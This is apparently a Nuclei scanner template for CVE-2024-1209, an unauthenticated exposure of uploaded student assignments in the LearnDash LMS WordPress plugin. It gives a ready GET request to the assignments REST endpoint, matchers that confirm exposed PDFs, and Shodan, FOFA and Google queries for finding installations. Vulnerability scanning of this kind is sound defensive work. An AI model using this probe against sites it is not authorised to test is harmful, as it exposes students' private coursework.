id: CVE-2024-1209

info:
  name: LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments
  author: ritikchaddha
  severity: medium
  description: |
    The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.
  impact: |
    Unauthenticated attackers can access the LearnDash API to obtain uploaded student assignments and coursework that should be restricted to instructors and enrolled learners.
  remediation: Fixed in 4.10.2
  reference:
    - https://wpscan.com/vulnerability/f813a21d-7a6a-4ff4-a43c-3e2991a23c7f/
    - https://github.com/karlemilnikka/CVE-2024-1209
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1209
    - https://www.learndash.com/release-notes/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7191955e-0db1-4ad1-878b-74f90ca59c91?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-1209
    epss-score: 0.02419
    epss-percentile: 0.82527
    cpe: cpe:2.3:a:learndash:learndash:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: learndash
    product: learndash
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/sfwd-lms
    fofa-query: body=/wp-content/plugins/sfwd-lms
    publicwww-query: "/wp-content/plugins/sfwd-lms"
    google-query: inurl:"/wp-content/plugins/sfwd-lms"
  tags: wpscan,cve,cve2024,wp,wp-plugin,wordpress,exposure,learndash,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sfwd-assignment"

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - 'slug":"assignment'
          - '.pdf"'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100aeeb6bc1db030a5f4eb160954332afa05cb84c793457a6d71be8d648510731d202206b34775e21a24beab0f6dc1708bfbbfa7d056c8fc893b54d75f7b723cd373f34:922c64590222798bb761d5b6d8e72950